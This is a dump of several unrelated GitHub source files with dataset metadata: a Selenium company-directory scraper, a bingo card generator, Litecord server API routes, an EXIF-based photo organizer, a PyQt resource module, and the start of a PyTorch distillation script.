'//*[@id=\"company_results\"]/ul/li/div[1]/div[1]/a').get_attribute('href')\r\n parse_company_page_requests(company_link)\r\n elif results_amount > 1:\r\n for i in range(1, results_amount):\r\n if i == 11 or i == 22:\r\n continue\r\n else:\r\n city = driver.find_element_by_xpath(\r\n f'//*[@id=\"company_results\"]/ul/li[{i}]/div[4]/div/span[1]').text\r\n city = city.lower()\r\n if city == company_city_match:\r\n company_link = driver.find_element_by_xpath(\r\n f'//*[@id=\"company_results\"]/ul/li[{i}]/div[1]/div[1]/a').get_attribute('href')\r\n parse_company_page_requests(company_link)\r\n else:\r\n raise Exception\r\n except Exception as e:\r\n print('company not found', e)\r\n driver.close()\r\n driver.quit()\r\n\r\n\r\n# def read_links_list_from_file(): # Open file with company links (not necessary)\r\n# try:\r\n# with open('links_list.csv', 'r', newline='') as csv_read:\r\n# reader = csv.reader(csv_read)\r\n# company_links = []\r\n# for row in reader:\r\n# company_links.append(row)\r\n# return company_links\r\n# except Exception as e:\r\n# print(e)\r\n# print(\"Can't read the file 'links_list.csv'\")\r\n\r\n\r\n# def parse_company_page_selenium(): # Use Selenium webdriver (lower speed) (not necessary)\r\n# links_list = read_links_list_from_file()\r\n# len_links_list = len(links_list)\r\n# for i in range(len_links_list):\r\n# print('Page №', i+1, 'of', len_links_list)\r\n# try:\r\n# driver.get(links_list[i][0])\r\n# driver.implicitly_wait(3)\r\n# try:\r\n# title = driver.find_element_by_class_name('profile_header_title').text\r\n# except:\r\n# title = ' '\r\n# try:\r\n# website = driver.find_element_by_id('hero-company-link').get_attribute('href')\r\n# except:\r\n# website = ' '\r\n# try:\r\n# street_address_1 = driver.find_element_by_xpath(\r\n# '/html/body/div[1]/div[3]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[1]/div').text\r\n# except:\r\n# street_address_1 = ' '\r\n# try:\r\n# company_city = driver.find_element_by_xpath(\r\n# '/html/body/div[1]/div[3]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[1]').text\r\n# except:\r\n# company_city = ' '\r\n# try:\r\n# company_region = driver.find_element_by_xpath(\r\n# '/html/body/div[1]/div[3]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[2]').text\r\n# except:\r\n# company_region = ' '\r\n# try:\r\n# company_postal = driver.find_element_by_xpath(\r\n# '/html/body/div[1]/div[3]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[3]').text\r\n# except:\r\n# company_postal = ' '\r\n# try:\r\n# company_country = driver.find_element_by_xpath(\r\n# '/html/body/div[1]/div[3]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[2]/div[2]/div/div/span/div[2]/span[4]').text\r\n# except:\r\n# company_country = ' '\r\n# try:\r\n# address = street_address_1 + ',' + company_city + ',' + company_region + ',' + company_postal + ',' + company_country\r\n# except:\r\n# address = ' '\r\n# try:\r\n# phone = driver.find_element_by_class_name('profile-phone-element').text\r\n# except:\r\n# phone = ' '\r\n# try:\r\n# description = driver.find_element_by_xpath(\r\n# '/html/body/div[1]/div[3]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[4]/div[2]/div/div/span').text\r\n# except:\r\n# description = ' '\r\n# try:\r\n# key_principal = driver.find_element_by_xpath(\r\n# '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/div[2]/div[2]/div[2]/div/div[5]/div[2]/div/div/span[1]').text\r\n# except:\r\n# key_principal = ' '\r\n# try:\r\n# industry = driver.find_element_by_class_name('profile-industry-item').text\r\n# except:\r\n# industry = ' '\r\n#\r\n# save_result([title, website, address, phone, description, key_principal, industry])\r\n# except Exception as e:\r\n# print(e)\r\n# driver.close()\r\n# driver.quit()\r\n\r\n\r\n@print_durations()\r\ndef main():\r\n try:\r\n company_search() # Run it to get a file with links to company pages\r\n except Exception as e:\r\n print('=====================')\r\n print(e)\r\n print('=====================')\r\n print('Something went wrong. Save the message above and contact your programmer.')\r\n print('=====================')\r\n finally:\r\n print('=====================')\r\n print('The program has completed its work.')\r\n print('You can check the file \"result.csv\"')\r\n print('=====================')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n", "repo_name": "goods3ns3/Parser_for_Vipul_J", "sub_path": "usa_companies_scraper.py", "file_name": "usa_companies_scraper.py", "file_ext": "py", "file_size_in_byte": 13244, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "selenium.webdriver.ChromeOptions", "line_number": 9, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 9, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 16, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 26, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 92, "usage_type": "call"}, {"api_name": "requests_html.HTMLSession", "line_number": 97, "usage_type": "call"}, {"api_name": "lxml.html.html.document_fromstring", "line_number": 101, "usage_type": "call"}, {"api_name": "lxml.html.html", "line_number": 101, "usage_type": "attribute"}, {"api_name": "lxml.html", "line_number": 101, "usage_type": "name"}, {"api_name": "funcy.print_durations", "line_number": 297, "usage_type": "call"}]} {"seq_id": "72323318624", "text": "from collections import defaultdict\nfrom random import randint\n\nLETRAS = ('B', 'I', 'N', 'G', 'O')\n\ndef min_max(letra:str) -> tuple[int]:\n\n intervalo = {\"B\": (1, 15), \"I\": (16, 30), \"N\": (31, 45), \"G\": (46, 60), \"O\": (61, 75)}\n\n # Retorna o número mínimo e máximo de cada letra\n minimo, maximo = intervalo[letra][0], intervalo[letra][1]\n return minimo, maximo\n\n# Passo número 0:\ndef gerar() -> defaultdict[str, list[int]]:\n\n cartela = defaultdict(list)\n\n for letra in LETRAS:\n\n # Pegando o número mínimo e máximo de cada letra\n minimo, maximo = min_max(letra)\n\n while len(cartela[letra]) < 5:\n # Gerando os números aleatórios\n num_aleatorio = randint(minimo, maximo)\n\n # Verificando se o número já existe na lista\n if num_aleatorio in cartela[letra]:\n continue\n \n # Coloca os números aleatórios na lista\n cartela[letra].append(num_aleatorio)\n\n # Ordena em ordem crescente \n cartela[letra].sort()\n\n return cartela\n\n# Passo número 1:\ndef imprime(cartela: dict[str, list[int]]) -> None:\n # Formata a cartela para imprimir na tela\n\n print(\"B I N G O\")\n print(\"-\" * 20)\n\n for linha in range(5):\n\n # Para cada linha, ele imprime os elementos daquela linha na tela\n lista_str = [str(lista[linha]).zfill(2) for lista in cartela.values()]\n \n #Formata a string para imprimir\n string = \",\".join(lista_str)\n \n print(string)\n\n# Passo número 2:", "repo_name": "becabelin/bootcamp-python", "sub_path": "dia 1 ao 15/dia10_cartela.py", "file_name": "dia10_cartela.py", "file_ext": "py", "file_size_in_byte": 1573, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 17, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 26, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 15, "usage_type": "name"}]} {"seq_id": "14367528490", "text": "from quart import Blueprint, jsonify, request, current_app as app\nimport json\nimport secrets\n\nfrom ..common.users import mass_user_update\n\nfrom ..enums import UserFlags\n\nfrom ..utils import str_bool, toggle_flag\n\nfrom litecord.auth import token_check\nfrom litecord.blueprints.checks import guild_perm_check\nfrom litecord.errors import ManualFormError\n\nbp = Blueprint(\"science\", __name__)\n\ntry:\n with open(\"assets/discovery_categories.json\", \"r\") as f:\n DISCOVERY_CATEGORIES = json.load(f)\nexcept (FileNotFoundError, json.JSONDecodeError, UnicodeDecodeError):\n DISCOVERY_CATEGORIES = {}\n\n\n@bp.route(\"/science\", methods=[\"POST\"])\n@bp.route(\"/track\", methods=[\"POST\"])\n@bp.route(\"/metrics\", methods=[\"POST\"])\nasync def science():\n return \"\", 204\n\n\n@bp.route(\"/applications\", methods=[\"GET\"])\n@bp.route(\"/teams\", methods=[\"GET\"])\n@bp.route(\"/outbound-promotions\", methods=[\"GET\"])\nasync def applications():\n return jsonify([])\n\n\n@bp.route(\"/experiments\", methods=[\"GET\"])\nasync def experiments():\n ret = {\"assignments\": await app.storage.get_experiments()}\n\n user_id = await token_check(False)\n if not user_id and not request.headers.get(\"X-Fingerprint\"):\n ret[\n \"fingerprint\"\n ] = f\"{app.winter_factory.snowflake()}.{secrets.token_urlsafe(32)}\"\n\n if request.args.get(\"with_guild_experiments\", type=str_bool):\n ret[\"guild_experiments\"] = await app.storage.get_guild_experiments()\n\n return jsonify(ret)\n\n\n@bp.route(\"/discovery/categories\", methods=[\"GET\"])\nasync def get_discovery_categories():\n \"\"\"Get discovery categories\"\"\"\n primary_only = request.args.get(\"primary_only\", False, type=str_bool)\n if primary_only:\n return jsonify([cat for cat in DISCOVERY_CATEGORIES if cat[\"is_primary\"]])\n return jsonify(DISCOVERY_CATEGORIES)\n\n\n@bp.route(\"/partners//requirements\", methods=[\"GET\"])\nasync def get_partner_requirements(guild_id: int):\n \"\"\"Get the requirements for a guild to be a partner.\"\"\"\n user_id = await token_check()\n await guild_perm_check(user_id, guild_id, \"manage_guild\")\n\n data = await app.db.fetchrow(\n \"\"\"\n SELECT rules_channel_id, mfa_level\n FROM guilds\n WHERE id = $1\n \"\"\",\n guild_id,\n )\n\n # Currently we just always say that a guild is partnerable\n data = {\n \"guild_id\": str(guild_id),\n \"safe_enviroment\": True,\n \"healthy\": True,\n \"health_score_pending\": False,\n \"size\": True,\n \"nsfw_properties\": {},\n \"protected\": bool(data[\"mfa_level\"]),\n \"sufficient\": True,\n \"sufficient_without_grace_period\": True,\n \"valid_rules_channel\": bool(data[\"rules_channel_id\"]),\n \"retention_healthy\": True,\n \"engagement_healthy\": True,\n \"age\": True,\n \"minimum_age\": 7,\n \"health_score\": {\n \"avg_nonnew_participators\": None,\n \"avg_nonnew_communicators\": None,\n \"num_intentful_joiners\": None,\n \"perc_ret_w1_intentful\": None,\n },\n \"minimum_size\": 1,\n }\n return jsonify(data)\n\n\n@bp.route(\"/partners/apply\", methods=[\"POST\"])\nasync def partners_apply():\n user_id = await token_check()\n\n try:\n guild_id = int((await request.get_json())[\"guild_id\"])\n except (KeyError, ValueError):\n raise ManualFormError(\n guild_id={\n \"code\": \"BASE_TYPE_REQUIRED\",\n \"message\": \"This field is required.\",\n }\n )\n\n await guild_perm_check(user_id, guild_id, \"manage_guild\")\n\n features = await app.storage.guild_features(guild_id) or []\n if \"PARTNERED\" in features:\n return \"\", 204\n\n owner_id = await app.db.fetchval(\n \"\"\"\n SELECT owner_id\n FROM guilds\n WHERE id = $1\n \"\"\",\n guild_id,\n )\n user = await app.storage.get_user(owner_id)\n flags = UserFlags.from_int(user[\"flags\"])\n toggle_flag(flags, UserFlags.partner, True)\n\n await app.db.execute(\n \"\"\"\n UPDATE users\n SET flags = $1\n WHERE id = $2\n \"\"\",\n flags.value,\n user_id,\n )\n await mass_user_update(user_id)\n\n features.append(\"PARTNERED\")\n features.append(\"VANITY_URL\")\n features.append(\"INVITE_SPLASH\")\n features.append(\"ANIMATED_ICON\")\n features.append(\"BANNER\")\n\n await app.db.execute(\n \"\"\"\n UPDATE guilds\n SET features = $1\n WHERE id = $2\n \"\"\",\n features,\n guild_id,\n )\n\n guild = await app.storage.get_guild_full(guild_id, user_id)\n await app.dispatcher.guild.dispatch(guild_id, (\"GUILD_UPDATE\", guild))\n\n return \"\", 204\n", "repo_name": "dolfies/patchcord", "sub_path": "litecord/blueprints/misc.py", "file_name": "misc.py", "file_ext": "py", "file_size_in_byte": 4601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "7", "api": [{"api_name": "quart.Blueprint", "line_number": 15, "usage_type": "call"}, {"api_name": "json.load", "line_number": 19, "usage_type": "call"}, {"api_name": "json.JSONDecodeError", "line_number": 20, "usage_type": "attribute"}, {"api_name": "quart.jsonify", "line_number": 35, "usage_type": "call"}, {"api_name": "quart.current_app.storage.get_experiments", "line_number": 40, "usage_type": "call"}, {"api_name": "quart.current_app.storage", "line_number": 40, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 40, "usage_type": "name"}, {"api_name": "litecord.auth.token_check", "line_number": 42, "usage_type": "call"}, {"api_name": "quart.request.headers.get", "line_number": 43, "usage_type": "call"}, {"api_name": "quart.request.headers", "line_number": 43, "usage_type": "attribute"}, {"api_name": "quart.request", "line_number": 43, "usage_type": "name"}, {"api_name": "quart.current_app.winter_factory.snowflake", "line_number": 46, "usage_type": "call"}, {"api_name": "quart.current_app.winter_factory", "line_number": 46, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 46, "usage_type": "name"}, {"api_name": "secrets.token_urlsafe", "line_number": 46, "usage_type": "call"}, {"api_name": "quart.request.args.get", "line_number": 48, "usage_type": "call"}, {"api_name": "quart.request.args", "line_number": 48, "usage_type": "attribute"}, {"api_name": "quart.request", "line_number": 48, "usage_type": "name"}, {"api_name": "utils.str_bool", "line_number": 48, "usage_type": "name"}, {"api_name": "quart.current_app.storage.get_guild_experiments", "line_number": 49, "usage_type": "call"}, {"api_name": "quart.current_app.storage", "line_number": 49, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 49, "usage_type": "name"}, {"api_name": "quart.jsonify", "line_number": 51, "usage_type": "call"}, {"api_name": "quart.request.args.get", "line_number": 57, "usage_type": "call"}, {"api_name": "quart.request.args", "line_number": 57, "usage_type": "attribute"}, {"api_name": "quart.request", "line_number": 57, "usage_type": "name"}, {"api_name": "utils.str_bool", "line_number": 57, "usage_type": "name"}, {"api_name": "quart.jsonify", "line_number": 59, "usage_type": "call"}, {"api_name": "quart.jsonify", "line_number": 60, "usage_type": "call"}, {"api_name": "litecord.auth.token_check", "line_number": 66, "usage_type": "call"}, {"api_name": "litecord.blueprints.checks.guild_perm_check", "line_number": 67, "usage_type": "call"}, {"api_name": "quart.current_app.db.fetchrow", "line_number": 69, "usage_type": "call"}, {"api_name": "quart.current_app.db", "line_number": 69, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 69, "usage_type": "name"}, {"api_name": "quart.jsonify", "line_number": 102, "usage_type": "call"}, {"api_name": "litecord.auth.token_check", "line_number": 107, "usage_type": "call"}, {"api_name": "quart.request.get_json", "line_number": 110, "usage_type": "call"}, {"api_name": "quart.request", "line_number": 110, "usage_type": "name"}, {"api_name": "litecord.errors.ManualFormError", "line_number": 112, "usage_type": "call"}, {"api_name": "litecord.blueprints.checks.guild_perm_check", "line_number": 119, "usage_type": "call"}, {"api_name": "quart.current_app.storage.guild_features", "line_number": 121, "usage_type": "call"}, {"api_name": "quart.current_app.storage", "line_number": 121, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 121, "usage_type": "name"}, {"api_name": "quart.current_app.db.fetchval", "line_number": 125, "usage_type": "call"}, {"api_name": "quart.current_app.db", "line_number": 125, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 125, "usage_type": "name"}, {"api_name": "quart.current_app.storage.get_user", "line_number": 133, "usage_type": "call"}, {"api_name": "quart.current_app.storage", "line_number": 133, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 133, "usage_type": "name"}, {"api_name": "enums.UserFlags.from_int", "line_number": 134, "usage_type": "call"}, {"api_name": "enums.UserFlags", "line_number": 134, "usage_type": "name"}, {"api_name": "utils.toggle_flag", "line_number": 135, "usage_type": "call"}, {"api_name": "enums.UserFlags.partner", "line_number": 135, "usage_type": "attribute"}, {"api_name": "enums.UserFlags", "line_number": 135, "usage_type": "name"}, {"api_name": "quart.current_app.db.execute", "line_number": 137, "usage_type": "call"}, {"api_name": "quart.current_app.db", "line_number": 137, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 137, "usage_type": "name"}, {"api_name": "common.users.mass_user_update", "line_number": 146, "usage_type": "call"}, {"api_name": "quart.current_app.db.execute", "line_number": 154, "usage_type": "call"}, {"api_name": "quart.current_app.db", "line_number": 154, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 154, "usage_type": "name"}, {"api_name": "quart.current_app.storage.get_guild_full", "line_number": 164, "usage_type": "call"}, {"api_name": "quart.current_app.storage", "line_number": 164, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 164, "usage_type": "name"}, {"api_name": "quart.current_app.dispatcher.guild.dispatch", "line_number": 165, "usage_type": "call"}, {"api_name": "quart.current_app.dispatcher", "line_number": 165, "usage_type": "attribute"}, {"api_name": "quart.current_app", "line_number": 165, "usage_type": "name"}]} {"seq_id": "30434347092", "text": "import argparse \nimport os\nimport exifread\nfrom shutil import copy\n\n\n############# general auxiliary methods #############\n\n\"\"\"\nChecks if the given file_path leads to a valid file type.\n\n@param String file_path\n@return a boolean value\t-\tTrue if the file_path is valid\n\t\t\t\t\t\t-\tFalse if it isn't\n\"\"\"\ndef validate_file(file_path):\n\tif os.path.isfile(file_path):\n\t\tif file_path.lower().endswith(('.png', '.jpg', '.jpeg', '.tiff', '.bmp', '.cr2')): #Figure out if the user should specify the extensions\n\t\t\treturn True\n\treturn False\n\n\n\"\"\"\nDefines how command-line arguments should be parsed and creates the desired parser.\n@return ArgumentParser parser\n\"\"\"\ndef create_parser():\n\tparser = argparse.ArgumentParser()\n\tsub_parsers = parser.add_subparsers()\n\trename_parser = sub_parsers.add_parser('rn')\n\trename_parser.set_defaults(which='rn')\n\torganization_parser = sub_parsers.add_parser('org')\n\torganization_parser.set_defaults(which='org')\n\t\n\trename_parser.add_argument('-d', metavar='directory', type=str, action='store', default=os.getcwd(),\n\t\t\t\t\t\t\t\t\thelp='Desired directory. If no directory is given, the current directory is used.')\n\trename_parser.add_argument('-p', metavar='prefix', type=str, action='store', default='',\n\t\t\t\t\t\t\t\t\thelp='Desired prefix.')\n\trename_parser.add_argument('-v', metavar='value', type=str, action='store', default='0',\n\t\t\t\t\t\t\t\t\thelp='The desired starting value.')\n\n\torganization_parser.add_argument('-d', metavar='directory', type=str, action='store', default=os.getcwd(), \n\t\t\t\t\t\t\t\t\t\t\thelp='Desired directory. If no directory is given, the current directory is used.')\n\torganization_parser.add_argument('-f', metavar='folder', type=str, action='store', \n\t\t\t\t\t\t\t\t\t\t\thelp='Name of the main folder where the organized folders will be stored. \\\n\t\t\t\t\t\t\t\t\t\t\t\tIf no name is provided then the default name will be \\'organized_by\\'')\n\torganization_parser.add_argument('organization_method', type=str, action='store', choices=['day', 'month', 'year', 'shutter_speed', 'lens', 'aperture', 'ISO', 'focal_length'], \n\t\t\t\t\t\t\t\t\t\t\thelp='Organize the content by one of the following parameters.')\n\n\treturn parser\n\n\n\"\"\"\nValidates the given arguments.\n@param ArgumentParser args\n\"\"\"\ndef parse_args(args):\n\tif args.d:\n\t\tif not os.path.isdir(args.d):\n\t\t\tprint(\"Invalid directory - \" + args.d)\n\t\t\texit(1)\n\t\tif not args.d.lower().endswith('/'):\n\t\t\targs.d += '/'\n\n\tif args.which == 'rn' and args.p:\n\t\ttry:\n\t\t\tif '/' in args.p:\n\t\t\t\traise Exception('Invalid prefix - ' + args.p + '\\nThe prefix can\\'t contain the following character: \\'/\\'')\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\texit(1)\n\n#####################################################\n\n\n############# rn - rename related methods #############\n\n\"\"\"\nRenames the files in the given directory args.d\n@param ArgumentParser args\n\"\"\"\ndef rename(args):\n\ti = args.v\n\tfor file in os.listdir(args.d):\n\t\tfile_path = args.d + file\n\t\tif not validate_file(file_path):\n\t\t\tcontinue\n\t\textension = os.path.splitext(file)[1] #There might be a better way to do this\n\t\tnew_file_name = args.d + args.p + i + extension\n\t\ti = next_value(i)\n\t\ttry:\n\t\t\tos.rename(file_path, new_file_name)\n\t\texcept FileExistsError:\n\t\t\tprint('A file with the name ' + new_file_name + ' already exists.')\n\n\n\"\"\"\n@param String/int value\n@return The correspondent adjacent value to value.\n\"\"\"\ndef next_value(value):\n\tif value[0] >= '0' and value[0] <= '9':\n\t\tvalue = int(value) + 1\n\t\treturn str(value)\n\telif value[0] >= 'A' and value[0] <= 'Z':\n\t\treturn aux(value, ['A', 'Z'])\n\telse:\n\t\treturn aux(value, ['a', 'z'])\n\n\n\"\"\"\nAuxiliary method to next_value, if the given value is a String\nReturns the correspondent adjacent value to value.\n@param String value\n@param List limit => [lower_limit, upper_limit]\n\"\"\"\ndef aux(value, limit):\n\tif value == '':\n\t\treturn limit[0]\n\tif value[-1] == limit[1]:\n\t\treturn aux(value[:-1], limit) + limit[0]\n\telse:\n\t\treturn value[:-1] + chr(ord(value[-1]) + 1)\n\n#######################################################\n\n\n########### org - organize related methods ##########\n\n\"\"\"\nSpecifies which processing method is used depending on the organization method.\n@param ArgumentParser args\n\"\"\"\ndef organize_data(args):\n\tif args.organization_method == 'year':\n\t\torganize(args, ['DateTimeOriginal', 'EXIF DateTimeOriginal', 1], process_date_time_data)\n\telif args.organization_method == 'month':\n\t\torganize(args, ['DateTimeOriginal', 'EXIF DateTimeOriginal', 2], process_date_time_data)\n\telif args.organization_method == 'day':\n\t\torganize(args, ['DateTimeOriginal', 'EXIF DateTimeOriginal', 3], process_date_time_data)\n\telif args.organization_method == 'shutter_speed':\n\t\torganize(args, ['ExposureTime', 'EXIF ExposureTime'], process_shutter_speed_data)\n\telif args.organization_method == 'lens':\n\t\torganize(args, ['LensModel', 'EXIF LensModel'], process_lens_model_data)\n\telif args.organization_method == 'aperture':\n\t\torganize(args, ['FNumber', 'EXIF FNumber'], process_aperture_data)\n\telif args.organization_method == 'ISO':\n\t\torganize(args, ['ISOSpeedRatings', 'EXIF ISOSpeedRatings'], process_ISO_data)\n\telif args.organization_method == 'focal_length':\n\t\torganize(args, ['FocalLength', 'EXIF FocalLength'], process_focal_length_data)\n\n\n\"\"\"\n@param ArgumentParser args\n@param List data_info\n@param method process_data\n\"\"\"\ndef organize(args, data_info, process_data):\n\tif not args.f:\n\t\torganization_folder = 'organized_by_' + args.organization_method + '/'\n\telse:\n\t\tif not args.f.endswith('/'):\n\t\t\torganization_folder = args.f + '/'\n\t\telse:\n\t\t\torganization_folder = args.f\n\n\ttry:\n\t\tos.mkdir(args.d + organization_folder)\n\texcept FileExistsError:\n\t\tprint('The given file name ' + args.d + organization_folder + ' already exists.')\n\n\tfor file in os.listdir(args.d):\n\t\tfile_path = args.d + file\n\t\tif not validate_file(file_path):\n\t\t\tcontinue\n\n\t\tdata = get_image_data(file_path, data_info[0], data_info[1])\n\t\tif data:\n\t\t\tdata = process_data(data, data_info)\n\t\telse:\n\t\t\tdata = 'Unknown'\n\t\n\t\tpath = args.d + organization_folder + data\n\t\tif not os.path.isdir(path):\n\t\t\tos.mkdir(path)\n\n\t\tcopy(file_path, path)\t\n\n\n\"\"\"\nProcesses the image at the given path.\n@param String image_path\n@param String stop_tag\n@param String data_field\n@return String Data from the correspondent data_field\n\t\tOR None if the field doesn't exist\n\"\"\"\ndef get_image_data(image_path, stop_tag, data_field):\n\twith open(image_path, 'rb') as image:\n\t\ttags = exifread.process_file(image, stop_tag=stop_tag, details=False)\n\t\ttry:\n\t\t\treturn str(tags[data_field])\n\t\t#Some images don't contain the desired metadata\n\t\texcept KeyError:\n\t\t\treturn None\n\n\ndef process_date_time_data(data, data_info):\n\treturn '-'.join(data.replace(' ', ':').split(':')[:data_info[2]])\n\n\ndef process_shutter_speed_data(data, data_info):\n\treturn '-'.join(data.split('/')) + 's'\n\n\ndef process_lens_model_data(data, data_info):\n\treturn '-'.join(data.split('/'))\n\n\ndef process_ISO_data(data, data_info):\n\treturn data\n\n\ndef process_focal_length_data(data, data_info):\n\treturn data + 'mm'\n\n\ndef process_aperture_data(data, data_info):\n\tdata = data.split('/')\n\tif len(data) == 2:\n\t\treturn str(float(data[0]) / float(data[1]))\n\t\n\treturn data[0]\n\n\n#######################################################\n\ndef main():\n\tparser = create_parser()\n\targs = parser.parse_args()\n\tparse_args(args)\n\n\tif args.which == 'rn':\n\t\trename(args)\n\telse:\n\t\torganize_data(args)\t\t\n\n\nif __name__ == \"__main__\": \n\tmain()", "repo_name": "NunoPalma/Photography-Organizer", "sub_path": "phorg.py", "file_name": "phorg.py", "file_ext": "py", "file_size_in_byte": 7380, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.isfile", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 28, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 35, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 92, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 168, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 185, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 187, "usage_type": "call"}, {"api_name": "exifread.process_file", "line_number": 200, "usage_type": "call"}]} {"seq_id": "7495415227", "text": "# -*- coding: utf-8 -*-\n\n# Resource object code\n#\n# Created by: The Resource Compiler for PyQt5 (Qt v5.13.0)\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore\n\nqt_resource_data = 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b\"\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x02\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x5a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x36\\x8d\\\n\\x00\\x00\\x01\\x6c\\x91\\x67\\x19\\x9b\\\n\\x00\\x00\\x00\\x76\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x7c\\x2a\\\n\\x00\\x00\\x01\\x6c\\x91\\x66\\xe3\\x70\\\n\\x00\\x00\\x00\\xac\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x2a\\x4a\\\n\\x00\\x00\\x01\\x6c\\x91\\x49\\x29\\xf0\\\n\\x00\\x00\\x00\\x92\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\xeb\\x10\\\n\\x00\\x00\\x01\\x6c\\x91\\x40\\xf6\\xa2\\\n\\x00\\x00\\x00\\x44\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x35\\x34\\\n\\x00\\x00\\x01\\x68\\x1f\\x91\\x81\\xbf\\\n\\x00\\x00\\x00\\x2a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xad\\\n\\x00\\x00\\x01\\x6c\\x91\\x40\\xd2\\x18\\\n\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x01\\x68\\x1f\\x91\\xf5\\x02\\\n\"\n\nqt_version = [int(v) for v in QtCore.qVersion().split('.')]\nif qt_version < [5, 8, 0]:\n rcc_version = 1\n qt_resource_struct = qt_resource_struct_v1\nelse:\n rcc_version = 2\n qt_resource_struct = qt_resource_struct_v2\n\ndef qInitResources():\n QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\ndef qCleanupResources():\n QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\nqInitResources()\n", "repo_name": "CapPow/HerbASAP", "sub_path": "ui/assets_rc.py", "file_name": "assets_rc.py", "file_ext": "py", "file_size_in_byte": 637681, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtCore.qVersion", "line_number": 9714, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 9714, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.qRegisterResourceData", "line_number": 9723, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 9723, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.qUnregisterResourceData", "line_number": 9726, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 9726, "usage_type": "name"}]} {"seq_id": "34940266653", "text": "import torch\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom KD_Lib.KD import VanillaKD\nfrom networks.resnet_big import SupConResNet, LinearClassifier\nimport torch.backends.cudnn as cudnn\nfrom losses import SupConLoss\n\ntry:\n import apex\n from apex import amp, optimizers\nexcept ImportError:\n pass\n\nimport sys\nimport argparse\nimport time\nimport math\n\n\ndef parse_option():\n parser = argparse.ArgumentParser('argument for training')\n\n # parser.add_argument('--print_freq', type=int, default=10,\n # help='print frequency')\n # parser.add_argument('--save_freq', type=int, 